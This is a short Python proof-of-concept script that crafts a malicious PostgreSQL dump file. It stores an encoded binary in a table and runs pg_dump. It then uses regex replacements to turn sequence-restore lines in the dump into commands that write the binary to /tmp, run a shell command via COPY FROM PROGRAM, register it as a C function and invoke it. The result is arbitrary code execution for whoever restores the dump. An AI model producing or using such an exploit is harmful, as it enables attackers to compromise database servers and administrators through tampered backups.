pgrestore_bin_func.py

from base64 import b64encode
from contextlib import closing
import os
import psycopg2
import re

from util import database, exec_psql


with open('function_poc', 'rb') as fp:
    b64 = b64encode(fp.read())

exec_psql([
    """CREATE TABLE public.dump (t TEXT)""",
    """CREATE TABLE public.binary (b bytea)""",
    """INSERT INTO public.binary (b) values (decode('{}', 'base64'))""".format(b64),
    """CREATE SEQUENCE seq START 1""",
    """SELECT nextval('seq')""",
    """CREATE SEQUENCE seq_b START 100000000000000000""",
    """SELECT nextval('seq_b')""",
    """CREATE SEQUENCE seq_padded_out_for_names START 10000000000000000""",
    """SELECT nextval('seq_padded_out_for_names')""",
    """CREATE SEQUENCE seq_z START 1""",
    """SELECT nextval('seq_z')"""])

fname = 'bin_func.dump'

os.system('pg_dump -U postgres -Fc > {}'.format(fname)) 

with open(fname, 'rb') as fp:
    data = fp.read()

repl = re.sub('(SELECT.*public.seq\x27.*;)', "COPY public.binary TO '/tmp/binary' WITH BINARY;", data)
repl = re.sub('(SELECT.*public.seq_b\x27.*;)', "COPY public.dump FROM PROGRAM 'tail -c +26 /tmp/binary > /tmp/poc';", repl)
repl = re.sub('(SELECT.*public.seq_padded_out_for_names\x27.*;)', "CREATE FUNCTION public.poc() RETURNS int AS '/tmp/poc', 'pgfunc' LANGUAGE 'c' STRICT;", repl)
repl = re.sub('(SELECT.*public.seq_z\x27.*;)', "select public.poc()                              ;", repl)

with open(fname, 'wb') as fp:
    fp.write(repl)

exec_psql([
    """DROP TABLE public.dump""",
    """DROP TABLE public.binary""",
    """DROP SEQUENCE seq""",
    """DROP SEQUENCE seq_b""",
    """DROP SEQUENCE seq_padded_out_for_names""",
    """DROP SEQUENCE seq_z"""])